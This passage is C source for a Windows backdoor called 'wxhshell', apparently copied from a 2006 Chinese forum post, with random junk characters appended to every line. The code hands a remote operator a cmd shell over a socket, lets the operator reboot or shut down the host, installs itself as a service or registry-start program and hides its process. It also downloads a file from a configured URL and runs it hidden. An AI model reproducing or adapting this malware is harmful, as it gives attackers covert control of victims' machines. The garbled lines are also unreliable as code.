      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6d 8n1_  
    break; A,ao2)  
  } Q([g1?F9*  
  // 安装 v#IZSBvuQK  
  case 'i': { 8>:2li  
    if(Install()) HoM8V"8B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VxAR,a1+n  
    else }Ty_ } 6a5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DNM~/Oo  
    break; uoBPi[nK  
    } ,%m$_wA$  
  // 卸载 eP3 itrH(  
  case 'r': { :\1&5Pm]  
    if(Uninstall()) 9Bmgz =8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }S&SL)  
    else L/cbq*L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %^ E>~  
    break; Fn%:0j  
    } Md m(xUs  
  // 显示 wxhshell 所在路径  })w5`?Y  
  case 'p': { Ix5yQgnB}j  
    char svExeFile[MAX_PATH]; X]CaWxM  
    strcpy(svExeFile,"\n\r"); d}415 XA  
      strcat(svExeFile,ExeFile); /L[:C=u  
        send(wsh,svExeFile,strlen(svExeFile),0); }`^<ZNkb/  
    break; `}Hnj*  
    } 1$2Rs-J  
  // 重启 mKq9mA"(E  
  case 'b': { `Op ";E88  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %s)E}cGH  
    if(Boot(REBOOT)) }#u}{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @49^WY  
    else { ^jhHaN]G^  
    closesocket(wsh); #wm)e)2@  
    ExitThread(0); bmddh2  
    } ]X _&  
    break; f%auz4CZz  
    } /3Gv51'  
  // 关机 Qg oXOVo6  
  case 'd': { )5V1H WjU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C ILk  
    if(Boot(SHUTDOWN)) IX3U\_I#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Ph;:EMj  
    else { )I}G:bBa  
    closesocket(wsh); If#7SF)n'  
    ExitThread(0); I~T?tm  
    } bFx?HM.AGW  
    break; q{JD]A:  
    } ZyWC_r!  
  // 获取shell O 1X !  
  case 's': { ZmHl~MR@  
    CmdShell(wsh); |$0/:*  
    closesocket(wsh); SI(8.$1  
    ExitThread(0); )*JTxMQ  
    break; ;~q)^.K3  
  } ?x/ L"h&Kp  
  // 退出 ]ogy`O>  
  case 'x': { F^~#D, \  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E|Lh$9XONA  
    CloseIt(wsh); n*xNMw1x"T  
    break; aY+>85?g  
    } LtvyWc`  
  // 离开 ) D`_V.,W  
  case 'q': { BZ T%+s;u9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wb9zJAsc  
    closesocket(wsh); }w@nZG ^&  
    WSACleanup(); Yr,1##u  
    exit(1); ^~I  
    break; +%~g$#tlJo  
        } t-Fl"@s  
  } wIiT :o  
  } V)Xcn'h  
zj)[Sn tn?  
  // 提示信息 Kj>_XaFCg!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8ksDXf`.  
} V!=]a^]:  
  } eK@Y] !lz  
p5'\< gQ  
  return; u60l-  
} %~[F^  
- |'wDf?H  
// shell模块句柄 1f:k:Y9i  
int CmdShell(SOCKET sock) vT~a}  
{ =w5w=qB  
STARTUPINFO si; rYqvG  
ZeroMemory(&si,sizeof(si)); 33C#iR1(WJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lqs_7HhvRS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /4 f;Niem  
PROCESS_INFORMATION ProcessInfo; 8| /YxF<  
char cmdline[]="cmd"; x/<. ?[A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C!P6Z10+j  
  return 0; 5-QXvw(TH  
} ~!OjdE!u  
U#P#YpD;==  
// 自身启动模式 y%y#Pb |  
int StartFromService(void) q.t5L=l^ r  
{ mB~&nDU  
typedef struct PrcM'Q  
{ >j?uI6Uw  
  DWORD ExitStatus; J5"*OH:f  
  DWORD PebBaseAddress; *$1)&2i  
  DWORD AffinityMask; 5%$#3LT|  
  DWORD BasePriority; 3WY W])  
  ULONG UniqueProcessId; m}E$6E^~O  
  ULONG InheritedFromUniqueProcessId; koU.`l.  
}   PROCESS_BASIC_INFORMATION; td~3N,S  
A!~o?ej  
PROCNTQSIP NtQueryInformationProcess; ^pP 14y*go  
gs3}rW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A.FI] K@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |+bG~~~%j  
.,,73"  
  HANDLE             hProcess; .wSAysiQ|P  
  PROCESS_BASIC_INFORMATION pbi; #@fypCc  
gr=`_k4~1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XTJ>y@  
  if(NULL == hInst ) return 0; Z0=OR^HjA  
uwka 2aSS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |<0@RCgM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #rwR)9iC0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,d+mT^jN  
2vC=.1k  
  if (!NtQueryInformationProcess) return 0; 2 *$n?  
K&h6#[^\d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ihVQ,Cth  
  if(!hProcess) return 0; = !X4j3Cv  
ZIp=JR8o$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u/f&Wq/  
p3o?_ !Z  
  CloseHandle(hProcess); _;{-w%Vf  
qg/5m;U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gib]#n1!p  
if(hProcess==NULL) return 0; z"#.o^5  
!)=o,sVA  
HMODULE hMod; CmOb+:4@K  
char procName[255]; Ul Iw&U  
unsigned long cbNeeded; EoeEg,'~F  
EiUV?Gvz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P$Q&xN<#)  
~aG-^BAS  
  CloseHandle(hProcess); ?r<F\rBT7*  
%"zJsYQ!  
if(strstr(procName,"services")) return 1; // 以服务启动 Biwdb  
$5r,Q{;$  
  return 0; // 注册表启动 -wfV  
} }TW=eu~  
!*gAGt_  
// 主模块 jxaoQeac  
int StartWxhshell(LPSTR lpCmdLine) v2{s2kB=  
{ |Y11sDa9h  
  SOCKET wsl; ]r6bJ 2  
BOOL val=TRUE; vNbA/sM  
  int port=0; mtHz6+  
  struct sockaddr_in door; "_j7kYAl  
ay4xOwcR  
  if(wscfg.ws_autoins) Install(); f,>i%.  
ex458^N_  
port=atoi(lpCmdLine); ]o$/xP  
1`{ib  
if(port<=0) port=wscfg.ws_port; G6 5N:  
D$E9%'ir  
  WSADATA data; rR~X>+K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `WS_*fJ5  
8)8oR&(f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sIsu >eL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p%1m&/ `F  
  door.sin_family = AF_INET; m 9@n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1 7oxD  
  door.sin_port = htons(port); ($> 0&w  
;7k7/f:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rgKn=8+a  
closesocket(wsl); RzQS@^u*F0  
return 1; QOk"UP  
} `F8;{`a  
rU@?v+i  
  if(listen(wsl,2) == INVALID_SOCKET) { 3H2;mqq  
closesocket(wsl); I>Q,]S1h  
return 1; ^6>|!  
} =osw3"ng  
  Wxhshell(wsl); :j<JZs>`R  
  WSACleanup(); A> A'dQ69  
>r3< O=Z7  
return 0; 5Suc#0y  
@0,dyg<$>  
}  a|uZJ*  
f"N3;,Oc  
// 以NT服务方式启动 {PtTPz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r$Y!Y#hwQ  
{ Ky$G$H  
DWORD   status = 0; d/rz0L  
  DWORD   specificError = 0xfffffff; @!3^/D3  
6 JYOe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gw^=kzh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zq r%7U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D ;$+]2  
  serviceStatus.dwWin32ExitCode     = 0; }tO<_f))  
  serviceStatus.dwServiceSpecificExitCode = 0; }yDq\5s Q[  
  serviceStatus.dwCheckPoint       = 0; q Xhf?x  
  serviceStatus.dwWaitHint       = 0; _C=[bI@  
>0#q!H,X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); arVf"3a  
  if (hServiceStatusHandle==0) return; $ywh%OEH  
n@[</E(  
status = GetLastError(); _kX/LR"L+  
  if (status!=NO_ERROR) %uqD\`-  
{ +\vY;!^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ik0Q^^1?Y  
    serviceStatus.dwCheckPoint       = 0; n4T2'e  
    serviceStatus.dwWaitHint       = 0; p+UHJ&  
    serviceStatus.dwWin32ExitCode     = status; <JM%Kn )  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^Jl!WH=20}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4~YQ\4h=  
    return; Prz +kPP  
  } :k(t/*Nl3  
1'm`SRX#e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {<4?o? 1 g  
  serviceStatus.dwCheckPoint       = 0; 6@;L$QYY-V  
  serviceStatus.dwWaitHint       = 0; _|wY[YJ[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x~Ly$A2p  
} 4eL54).1O  
1"B9Z6jf  
// 处理NT服务事件,比如:启动、停止 ?mfWm{QTt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8!Mzr1:  
{ ,xe@G)a  
switch(fdwControl) %aE7id>v6  
{ x][9ptr h  
case SERVICE_CONTROL_STOP: ^1yTL5#:Vw  
  serviceStatus.dwWin32ExitCode = 0; <&EO=A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3nC#$L-   
  serviceStatus.dwCheckPoint   = 0; #r^@*<{^  
  serviceStatus.dwWaitHint     = 0; pjs9b%.  
  { c0Ro3j\p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G|oB'~ {&  
  } &\ lS  
  return; [piF MxZP  
case SERVICE_CONTROL_PAUSE: pXj/6+^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q*&aC|b&  
  break; I+j|'=M  
case SERVICE_CONTROL_CONTINUE: SOQ-D4q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vp75u93  
  break; 2n;;Tso"  
case SERVICE_CONTROL_INTERROGATE: \{=`F`oB=  
  break; m<,G:?RM  
}; 3et2\wOX1x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V&j.>Y  
} IQi[g~E.5  
~muIi#4  
// 标准应用程序主函数 g6/N\[b%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vWi. []  
{ X)iWb(@k"7  
B 6'%J  
// 获取操作系统版本 &Bz7fKCo  
OsIsNt=GetOsVer(); V_A,d8=lt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t6g)3F7T  
w H_n$w  
  // 从命令行安装 .UhBvHH  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZDkD%SCy  
rE{Xo:Cf  
  // 下载执行文件 IL[|CB1v  
if(wscfg.ws_downexe) { s@)"IdSA(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EfBVu  
  WinExec(wscfg.ws_filenam,SW_HIDE); !k= 0X\5L  
} &Wz`>qYL*  
BUA6(  
if(!OsIsNt) { n:^"[Le  
// 如果时win9x,隐藏进程并且设置为注册表启动 zhX`~){N6  
HideProc(); HMS9y%zl/  
StartWxhshell(lpCmdLine); 4>"cc@8&~  
} 4lh   
else p-'6_\F.Ke  
  if(StartFromService()) NzeI/f3K5  
  // 以服务方式启动 Y:"v=EhB  
  StartServiceCtrlDispatcher(DispatchTable); eFj6p<  
else _z(5e  
  // 普通方式启动 Ad`[Rt']kI  
  StartWxhshell(lpCmdLine); B`?N0t%X  
`k}l$ih`X  
return 0; nc\C 4g  
}
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只看该作者 1 发表于: 2006-10-10
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